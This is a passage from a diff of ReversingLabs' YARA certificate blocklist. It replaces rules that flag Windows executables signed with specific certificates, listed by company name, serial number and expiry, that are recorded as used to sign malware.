"ca613e4b45b9bb1ef7564b9fc6321bccc0f683298de692a3db2bf841db9010ef" + logic_hash = "8c803111df930056bdc3ef7560f07bf4d255b93286d01ecc55f790e72565ba5d" score = 75 quality = 90 tags = "INFO, FILE" @@ -26957,21 +49351,21 @@ rule REVERSINGLABS_Cert_Blocklist_50D08F3C9Bf86Fba52Cf592B4Fe6Eacf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CLEVERCYBER LTD" and pe.signatures [ i ] . serial == "50:d0:8f:3c:9b:f8:6f:ba:52:cf:59:2b:4f:e6:ea:cf" and 1518134400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Diamartis" and pe.signatures [ i ] . serial == "7f:ba:0e:19:91:9a:c5:0d:70:0b:a6:02:50:d0:2c:8b" and 1623196800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7C7Fc3616F3157A28F702Cc1Df275Dcd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A758504E7971869D0Aec2775Fffa03D5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "78d2adb9-fc1c-5f48-80cb-3f1bd12b6ba5" + id = "cc8c0cca-1848-5a5e-a421-c5ecdea6ba53" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14950-L14966" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9038-L9056" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c2dcea21c7a3e3aef6408f11c23edbce6d8f655f298654552a607a9b0caabb28" + logic_hash = "dcb1ac4c7dcbebd0a432515da82e4a97be6c6c2a54f9d642aa8c1a2bcbdce5de" score = 75 quality = 90 tags = "INFO, FILE" @@ -26981,21 +49375,21 @@ rule REVERSINGLABS_Cert_Blocklist_7C7Fc3616F3157A28F702Cc1Df275Dcd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CFES Projects Ltd" and pe.signatures [ i ] . serial == "7c:7f:c3:61:6f:31:57:a2:8f:70:2c:c1:df:27:5d:cd" and 1522972800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Amcert LLC" and ( pe.signatures [ i ] . serial == "00:a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5" or pe.signatures [ i ] . serial == "a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5" ) and 1623628800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_73Ed1B2F4Bf8Dd37A8Ad9Bb775774592 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_37A67Cf754Ee5Ae284B4Cf8B9D651604 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "19c9e100-b017-5b5c-8e8f-c94ea9e228c2" + id = "e85434e1-1ef5-5660-8ba6-b35cbbe7510d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14968-L14984" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9058-L9074" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "69865935e07ea255a5d690e170911b33574ea61550b00bebc2ceff91ba9a33da" + logic_hash = "22cb71eebbb212a4436847c11c7ca9cefaf118086b024014c12498a6a5953af5" score = 75 quality = 90 tags = "INFO, FILE" @@ -27005,21 +49399,21 @@ rule REVERSINGLABS_Cert_Blocklist_73Ed1B2F4Bf8Dd37A8Ad9Bb775774592 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5000 LIMITED" and pe.signatures [ i ] . serial == "73:ed:1b:2f:4b:f8:dd:37:a8:ad:9b:b7:75:77:45:92" and 1528243200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTH PROPERTY LTD" and pe.signatures [ i ] . serial == "37:a6:7c:f7:54:ee:5a:e2:84:b4:cf:8b:9d:65:16:04" and 1617321600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_211B5Dfe65Bc6F34Bc9D3A54 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_119Acead668Bad57A48B4F42F294F8F0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5181b6e4-6a25-58f6-88c5-0eae98250648" + id = "7ec33498-b299-58e0-be42-9e4fb9549e28" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14986-L15002" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9076-L9092" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cf2e4c0dd98efb77c28b63641196c83e60afc0d6ab64802743c351581506dbb5" + logic_hash = "61c49c60fc4fd5d654a6376fcee43e986a5351f085a5652a3c8888774557e053" score = 75 quality = 90 tags = "INFO, FILE" @@ -27029,21 +49423,21 @@ rule REVERSINGLABS_Cert_Blocklist_211B5Dfe65Bc6F34Bc9D3A54 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RAFO TECHNOLOGY INC" and pe.signatures [ i ] . serial == "21:1b:5d:fe:65:bc:6f:34:bc:9d:3a:54" and 1526717931 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PB03 TRANSPORT LTD." and pe.signatures [ i ] . serial == "11:9a:ce:ad:66:8b:ad:57:a4:8b:4f:42:f2:94:f8:f0" and 1619654400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5400D1C1406528B1Ef625976 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7A6D30A6Eb2Fa0C3369283725704Ac4C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2b35f2db-ebf1-5533-858c-644dbd6dfb2b" + id = "b7830a3a-ddcc-54ef-84dd-5d4b13863f90" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15004-L15020" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9094-L9110" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fbdd37e050d68c4287e897f050a673aea071df105a35b07475d3233da3f03feb" + logic_hash = "788abb53ed7974d87c1b1bdbe31dcd3e852ea64745d94780d78d1217ee0206fe" score = 75 quality = 90 tags = "INFO, FILE" @@ -27053,21 +49447,21 @@ rule REVERSINGLABS_Cert_Blocklist_5400D1C1406528B1Ef625976 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "54:00:d1:c1:40:65:28:b1:ef:62:59:76" and 1474266628 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trade By International ApS" and pe.signatures [ i ] . serial == "7a:6d:30:a6:eb:2f:a0:c3:36:92:83:72:57:04:ac:4c" and 1619568000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_013472D7D665557Bfa0Dc21B350A361B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_670C3494206B9F0C18714Fdcffaaa42F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9b63f06d-9808-5936-aad2-d387c74eccdd" + id = "210a0c72-7eb7-5c78-bf5b-1ac292e7fa11" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15022-L15038" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9112-L9128" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ab908ef0fca56753bcba8bc85e2fdf5859b4e226c179ec5c6eb6eb3dc4014a8e" + logic_hash = "3b1e244b5f543a05beb2475020aa20dfc723f4dce3a5a0a963db1672d3295721" score = 75 quality = 90 tags = "INFO, FILE" @@ -27077,21 +49471,21 @@ rule REVERSINGLABS_Cert_Blocklist_013472D7D665557Bfa0Dc21B350A361B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Zhang" and pe.signatures [ i ] . serial == "01:34:72:d7:d6:65:55:7b:fa:0d:c2:1b:35:0a:36:1b" and 1470960000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADRIATIK PORT SERVIS, d.o.o." and pe.signatures [ i ] . serial == "67:0c:34:94:20:6b:9f:0c:18:71:4f:dc:ff:aa:a4:2f" and 1622160000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_66C758A22Bfbbce327616815616Ddd07 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0E8Aa328Af207Ce8Bcae1Dc15C626188 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4a7130ad-8b66-52a1-afd2-6d10776b4451" + id = "9718f290-6ecd-5d67-9013-af99f98fffef" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15040-L15056" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9130-L9146" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "37f0f64e2d84ef6591e1f07a05abca35b37827d26c828269fb5f38d8546a60a7" + logic_hash = "4022abb8efbda944e35ff529c5b3b3c9f6370127a945f3eec1310149bb5d06e4" score = 75 quality = 90 tags = "INFO, FILE" @@ -27101,21 +49495,21 @@ rule REVERSINGLABS_Cert_Blocklist_66C758A22Bfbbce327616815616Ddd07 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TIM Konstrakshn, TOV" and pe.signatures [ i ] . serial == "66:c7:58:a2:2b:fb:bc:e3:27:61:68:15:61:6d:dd:07" and 1469404800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PRO SAT SRL" and pe.signatures [ i ] . serial == "0e:8a:a3:28:af:20:7c:e8:bc:ae:1d:c1:5c:62:61:88" and 1627344000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E61B0366D940896430Bcfe3E93Baac5B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Cfad6Be1D823B4Eacb803B720F525A7D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "24eb38c1-48a5-5d9b-a42d-345c4fda6c36" + id = "844e295f-b22f-5eb0-9f98-0d6e574d2954" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15058-L15076" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9148-L9166" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1b1fd0c2237446ab22c7359d1e89d822a4b9b6ad345447740154d7d52635c2ea" + logic_hash = "d8005774e6011d8198039a6588834cd0b13dd728103b63c3ea8b6e0dc3878f05" score = 75 quality = 90 tags = "INFO, FILE" @@ -27125,21 +49519,21 @@ rule REVERSINGLABS_Cert_Blocklist_E61B0366D940896430Bcfe3E93Baac5B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and ( pe.signatures [ i ] . serial == "00:e6:1b:03:66:d9:40:89:64:30:bc:fe:3e:93:ba:ac:5b" or pe.signatures [ i ] . serial == "e6:1b:03:66:d9:40:89:64:30:bc:fe:3e:93:ba:ac:5b" ) and 1528156800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sistema LLC" and ( pe.signatures [ i ] . serial == "00:cf:ad:6b:e1:d8:23:b4:ea:cb:80:3b:72:0f:52:5a:7d" or pe.signatures [ i ] . serial == "cf:ad:6b:e1:d8:23:b4:ea:cb:80:3b:72:0f:52:5a:7d" ) and 1627430400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6294B8Acc35Dea7D32A95Ac5D4536F8F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Ebcb54B7E0E6410B28610De0743D4Dd : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bc380123-20fc-55de-ad1c-4f13ac173cc9" + id = "84140bbd-23a0-5355-9d1a-918cc93c3352" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15078-L15094" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9168-L9184" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ac92ff8e533121071a620ca5280ae66629576f9c4af9831ddac5bb487e4348af" + logic_hash = "c9444ff9e13192bf300afac12554bc4cc2defb37bb5b57906b6163db378c515a" score = 75 quality = 90 tags = "INFO, FILE" @@ -27149,21 +49543,21 @@ rule REVERSINGLABS_Cert_Blocklist_6294B8Acc35Dea7D32A95Ac5D4536F8F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x87\\x8D\\xE5\\xBA\\x86\\xE6\\x8E\\xA2\\xE9\\x95\\xBF\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "62:94:b8:ac:c3:5d:ea:7d:32:a9:5a:c5:d4:53:6f:8f" and 1517443200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SIA \"MWorx\"" and pe.signatures [ i ] . serial == "7e:bc:b5:4b:7e:0e:64:10:b2:86:10:de:07:43:d4:dd" and 1625616000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_485E4626C32493C16283Cfd9E30D17Ad : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_01106Cc293772Ca905A2B6Eff02Bf0F5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7e6834e5-ce32-5ba6-82cf-99d7b90fb4f0" + id = "1ec81090-91a1-5019-be91-14f60d6722fc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15096-L15112" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9186-L9202" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "faf860786e8473493d24abf6e61cf0b906e98d786516be6d2098181368214020" + logic_hash = "81e19c06de4546a2cee974230ef7aa15291f20f2e6b6f89c9b12107c26836b5e" score = 75 quality = 90 tags = "INFO, FILE" @@ -27173,21 +49567,21 @@ rule REVERSINGLABS_Cert_Blocklist_485E4626C32493C16283Cfd9E30D17Ad : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "48:5e:46:26:c3:24:93:c1:62:83:cf:d9:e3:0d:17:ad" and 1473292800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DMR Consulting Ltd." and pe.signatures [ i ] . serial == "01:10:6c:c2:93:77:2c:a9:05:a2:b6:ef:f0:2b:f0:f5" and 1627084800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D0312F9177Cd46B943Df3Ef22Db4608B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_05Bb162F6Efe852B7Bd4712Fd737A61E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b36ba3c9-4a64-505a-ae27-ec8ee969dc29" + id = "82b2198e-140a-54d0-afa8-ad89980c7899" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15114-L15132" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9204-L9220" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2eb955e91c927980cee031c6284e48bad315e891c32cdaf41b844090e841c44d" + logic_hash = "d2fcbce0826c1478338827376d2c7869e5b38dc6d5e737a2f986600c6f71b1e6" score = 75 quality = 90 tags = "INFO, FILE" @@ -27197,21 +49591,21 @@ rule REVERSINGLABS_Cert_Blocklist_D0312F9177Cd46B943Df3Ef22Db4608B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "United Systems Technology, Inc." and ( pe.signatures [ i ] . serial == "00:d0:31:2f:91:77:cd:46:b9:43:df:3e:f2:2d:b4:60:8b" or pe.signatures [ i ] . serial == "d0:31:2f:91:77:cd:46:b9:43:df:3e:f2:2d:b4:60:8b" ) and 1341273600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wellpro Impact Solutions Oy" and pe.signatures [ i ] . serial == "05:bb:16:2f:6e:fe:85:2b:7b:d4:71:2f:d7:37:a6:1e" and 1628726400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_202702 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6171990Ba1C8E71049Ebb296A35Bd160 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "befb8867-37d6-5b0a-9801-c069b92f8edc" + id = "f81697ca-e49a-5a3d-9e0f-6192159e098b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15134-L15150" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9222-L9238" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bc097e97c1c4c4a71cbf66be811636fecfa23682cb2cc47ab1fcd680a646fb14" + logic_hash = "e922bb850b7c5c70db80e6a2b99310eac48d3b10b94a7259899facd681916bfa" score = 75 quality = 90 tags = "INFO, FILE" @@ -27221,21 +49615,21 @@ rule REVERSINGLABS_Cert_Blocklist_202702 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RDCTO Ltd" and pe.signatures [ i ] . serial == "20:27:02" and 1087391361 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OWLNET LIMITED" and pe.signatures [ i ] . serial == "61:71:99:0b:a1:c8:e7:10:49:eb:b2:96:a3:5b:d1:60" and 1620000000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_369A02E5D90B2649040E7F87 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2114Ca3Bd2Afd63D7Fa29D744992B043 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2b81466f-3eb1-5c12-8878-9257dde968fb" + id = "7d112cb8-a29f-5560-9c3c-cd8891623d96" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15152-L15168" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9240-L9256" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e2a2e231914f166410580a42ca9d4aac18c5cba94d1f11d22e7acd6d375851d8" + logic_hash = "241fe5a9f233fa36a665d22b38fd360bee21bc9832c15ac9c9d9b17adc3bb306" score = 75 quality = 90 tags = "INFO, FILE" @@ -27245,21 +49639,21 @@ rule REVERSINGLABS_Cert_Blocklist_369A02E5D90B2649040E7F87 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "36:9a:02:e5:d9:0b:26:49:04:0e:7f:87" and 1479094204 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MATCH CONSULTANTS LTD" and pe.signatures [ i ] . serial == "21:14:ca:3b:d2:af:d6:3d:7f:a2:9d:74:49:92:b0:43" and 1625097600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_60497070Ff4A83Bc87Bdea24Da5B431D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6Aaa62208A3A78Bfac1443007D031E61 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "510ab702-103b-5863-ac9a-46a917879e72" + id = "dd6dca76-ff5b-51a8-9318-20a88eb44ffb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15170-L15186" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9258-L9274" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "30998e3f5299a37cdee83b1232249b84dbb3c154ef99237da5ce1b16f9db5da3" + logic_hash = "7ba7f69514230fe636efc0a12fb9ac489a5a80ca1f5bcdb050dd30ee8f69659c" score = 75 quality = 90 tags = "INFO, FILE" @@ -27269,21 +49663,21 @@ rule REVERSINGLABS_Cert_Blocklist_60497070Ff4A83Bc87Bdea24Da5B431D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "60:49:70:70:ff:4a:83:bc:87:bd:ea:24:da:5b:43:1d" and 1477008000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Solar LLC" and pe.signatures [ i ] . serial == "6a:aa:62:20:8a:3a:78:bf:ac:14:43:00:7d:03:1e:61" and 1608163200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A333E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_09450B8F73Ea43E39D2Cdd56049Dbe40 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5eaac242-ca22-5c73-9027-308d351080bf" + id = "e6914a29-f6f7-56fc-8606-95666d31cf33" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15188-L15204" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9276-L9292" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f76d21e0ae2cf9b28825c813fc509d533c10aba38f8f0c2884365047c1272c1f" + logic_hash = "22b344b8befc00b0154d225603c81c6058399770f54cb6a09d0f7908c5c8188c" score = 75 quality = 90 tags = "INFO, FILE" @@ -27293,21 +49687,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A333E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Coulomb Limited" and pe.signatures [ i ] . serial == "0a:33:3e" and 1052750648 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB9\\x9D\\xE6\\xB1\\x9F\\xE5\\xAE\\x8F\\xE5\\x9B\\xBE\\xE6\\x97\\xA0\\xE5\\xBF\\xA7\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "09:45:0b:8f:73:ea:43:e3:9d:2c:dd:56:04:9d:be:40" and 1561602110 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Cb6519B2528D006D1Da987153Dad2B3 : INFO FILE 